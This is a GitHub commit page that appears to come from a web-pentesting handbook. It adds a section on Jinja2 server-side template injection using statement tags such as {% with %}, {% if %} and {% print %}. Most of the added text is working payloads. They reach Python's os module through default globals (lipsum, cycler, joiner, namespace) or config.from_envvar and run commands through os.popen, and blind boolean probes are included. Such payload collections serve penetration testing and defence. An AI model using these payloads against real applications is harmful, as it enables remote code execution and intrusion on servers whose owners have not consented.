Skip to content

Commit 1f1773e

Browse files
author
Tukasha
committed
Add Jinja statement-tag payload notes
1 parent 4be4a33 commit 1f1773e

1 file changed

Lines changed: 47 additions & 0 deletions

File tree

src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -175,6 +175,52 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
175175

176176
```
177177

178+
### Payloads with `{% ... %}`
179+
180+
Sometimes `{{ ... }}` is blocked, sanitized or the injection lands inside a statement-friendly context. In those cases you can still abuse Jinja statement tags such as `{% with %}`, `{% if %}`, `{% for %}`, `{% set %}` and, in newer versions, `{% print %}` to execute code, leak data through the block body, or trigger blind side effects.
181+
182+
```python
183+
{% raw %}
184+
# Simple statement-tag primitives
185+
{% print(1) %}
186+
{% if 7*7 == 49 %}OK{% endif %}
187+
{% if 7*7 == 50 %}BAD{% else %}ELSE{% endif %}
188+
{% set x = 7*7 %}{{ x }}
189+
{% for i in range(3) %}{{ i }}{% endfor %}
190+
{% with a = ''.__class__ %}{{ a }}{% endwith %}
191+
{% print(''.__class__.__mro__[1]) %}
192+
{% with x = ''.__class__.__mro__[1].__subclasses__()|length %}{{ x }}{% endwith %}
193+
194+
# Flask-like contexts: use already reachable globals/functions
195+
{% with a = config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read() %}{{ a }}{% endwith %}
196+
{% if config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("id").read().startswith("uid=") %}yes{% endif %}
197+
198+
# Bare Jinja2 Template(...) contexts may not have `config` or `request`,
199+
# but built-in globals such as `lipsum`, `cycler`, `joiner`, and `namespace`
200+
# are often still available.
201+
{% print(lipsum) %}
202+
{% print(cycler) %}
203+
{% print(joiner) %}
204+
{% print(namespace) %}
205+
{% if 'os' in lipsum.__globals__ %}OS_OK{% endif %}
206+
{% if cycler.__init__.__globals__ %}G_OK{% endif %}
207+
208+
# RCE using default Jinja globals
209+
{% print(lipsum.__globals__['os'].popen('id').read()) %}
210+
{% with x = lipsum.__globals__['os'].popen('id').read() %}{{ x }}{% endwith %}
211+
{% print(cycler.__init__.__globals__['os'].popen('id').read()) %}
212+
{% print(joiner.__init__.__globals__['os'].popen('id').read()) %}
213+
{% print(namespace.__init__.__globals__['os'].popen('id').read()) %}
214+
215+
# Blind / boolean primitive
216+
{% if 'uid=' in lipsum.__globals__['os'].popen('id').read() %}
217+
YES
218+
{% endif %}
219+
{% endraw %}
220+
```
221+
222+
If the target filters some chars but still allows statement tags, combine this idea with the [filter bypasses](jinja2-ssti.md#filter-bypasses) and the [no-`{{` / no-`.` / no-`_` example](jinja2-ssti.md#without-several-chars). Also remember that `{% print %}` is not mandatory: on targets where it is unavailable, `{% with %}`, `{% if %}`, `{% set %}` and `{% for %}` are usually enough to keep exploiting the template.
223+
178224
To learn about **more classes** that you can use to **escape** you can **check**:
179225

180226

@@ -357,6 +403,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
357403
## References
358404

359405
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
406+
- [https://jinja.palletsprojects.com/en/stable/templates/](https://jinja.palletsprojects.com/en/stable/templates/)
360407
- Check [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
361408
- [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
362409
- [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)

0 commit comments

Comments
 (0)